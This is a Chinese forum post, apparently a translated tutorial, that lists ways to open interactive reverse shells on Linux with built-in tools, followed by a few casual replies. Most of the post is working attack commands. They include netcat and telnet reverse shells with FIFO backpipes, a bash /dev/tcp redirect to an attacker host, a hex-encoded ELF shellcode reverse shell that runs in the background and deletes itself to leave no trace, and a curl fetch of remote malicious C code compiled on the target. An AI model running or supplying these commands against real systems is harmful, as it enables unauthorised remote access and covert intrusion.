用户
搜索
  • TA的每日心情
    郁闷
    7 天前
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    2

    主题

    8

    帖子

    86

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-4-17
    发表于 7 天前 61737
    本帖最后由 heikuzi44 于 2020-7-30 16:52 编辑

    • 前言
    这片文章比较尖端,啊不,比较简短,将演示如何在各种Linux发行版上使用内置工具生成交互式反向Shell。

    • 背景
    Linux有许多发行版本,它们在内置工具和安全机制方面的功能都大同小异。因此,无论在渗透测试中碰到哪个操作系统,都可以使用下面所讲到的例子。

    • 测试场景
    • 1.能够运行一个简单的命令
    • 2.在目标系统上能够新建用户来运行简单的命令

    • 例子
    在下面的示例中,总会有一个像A和T这样的概念,分别代表渗透者(Attacker)和目标系统(Target)

    1.netcat
    1. nc <attacker_ip> <port> -e /bin/bash     # T
    2. nc -n -vv -l -p <port>                    # A
    复制代码

    在当前版本的netcat中,-e标志可能不再可用了,但无关紧要,

    2.禁用-e参数的netcat
    因为-e参数不再可用,渗透员们可能转而使用其他的工具或者想其他的方法,但是,我们可以构造以下命令。(嘿,这才像是黑客该有的样子)(括号内属于作者的沾沾自喜)

    1. mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe    # T
    2. nc -n -vv -l -p <port>    # A
    复制代码
    1.png

    原理
    我们创建一个FIFO文件系统对象,并将其用作反向管道,目的是将标准输出从netcat传递到/bin/bash的命令传递回nc。

    3.没有netcat的netcat(有点拗口,就是没有netcat依然可以实现netcat的功能)

    1. /bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1      # T
    2. nc -n -vv -l -p <port>     # A
    复制代码
    2.png

    原理
    该命令使用的是/dev/tcp套接字编程功能,用于将/bin/bash重定向到远程系统。

    4.没有netcat或/dev/tcp的netcat

    1. mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe        # T
    2. nc -n -vv -l -p <port>     # A
    复制代码

    3.png

    原理
    现在应该很清楚了。跟上面第二个示例相比,我们仅使用telnet而不是netcat。

    5. telnet到telnet

    1. telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>     # T
    2. nc -n -vv -l -p <1st_port>     # A1
    3. nc -n -vv -l -p <2nd_port>    # A2
    复制代码

    4.png

    原理
    这条命令看起来有点奇怪,但是确实可以执行。它使用连接到远程侦听器的两个telnet会话,将输入从一个telnet会话传递到/bin/bash,并将输出传递到第二个telnet会话。(amazing!真的很神奇有木有)

    6.Chuck Norris
    ```
    nc -v -l 1337 # Attacker
    echo -e "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00\x00\x60\x80\x04\x08\x34\x00\x00\x00\xBC\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xAA\x00\x00\x00\xAA\x00\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x66\x58\x6A\x01\x5B\x31\xD2\x52\x53\x6A\x02\x89\xE1\xCD\x80\x92\xB0\x66\x68\x7F\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xE1\x6A\x10\x51\x52\x89\xE1\x43\xCD\x80\x6A\x02\x59\x87\xDA\xB0\x3F\xCD\x80\x49\x79\xF9\xB0\x0B\x41\x89\xCA\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80\x00\x2E\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2E\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x60\x80\x04\x08\x60\x00\x00\x00\x4A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xAA\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" > c; chmod +x c;./c & rm c # Target
    ```
    Chuck Norris不是hacker,但是很牛逼就是了。

    特点:
    • 直接在机器代码中写入十六进制的反向Shell
    • 执行命令后删除了痕迹
    • 上面的代码从i386机器连接到127.0.0.1的1337端口。如果要更改IP,请查找\x7F\x01\x01\x01,如果要更改端口,额,寄几找到那对应的十六进制吧。
    • 请注意,二进制文件是在后台执行并立即删除的,所以可以说是无痕连接了。

    但是,在shell中运行二进制文件的可能性还有待商榷。

    我们可以将C代码编译为stdout:

    1. curl - s https://attacker/malicious-code.c | gcc -o /dev/stdout -x c -
    复制代码

    但是似乎在不写入磁盘的情况下利用`./-`执行文件似乎有点不切实际,所以这种方法只能先mark,留待后人研究。(tips:是否可以利用powershell???)


    这片文章比较尖端,啊不,比较简短
    使用道具 举报 回复
    这是翻译的国外文章吗?
    使用道具 举报 回复
    不哭不闹 发表于 2020-7-30 10:28
    这片文章比较尖端,啊不,比较简短

    皮了一下下,表哥莫怪hhh
    使用道具 举报 回复
    NLY邪少 发表于 2020-7-30 11:15
    这是翻译的国外文章吗?

    嗯嗯,一个论坛看到的,我把版主跟层主的发言都综合了一下下
    使用道具 举报 回复
    好像排班改了?
    使用道具 举报 回复

    第一次发,排版太差了,所以改了一下
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册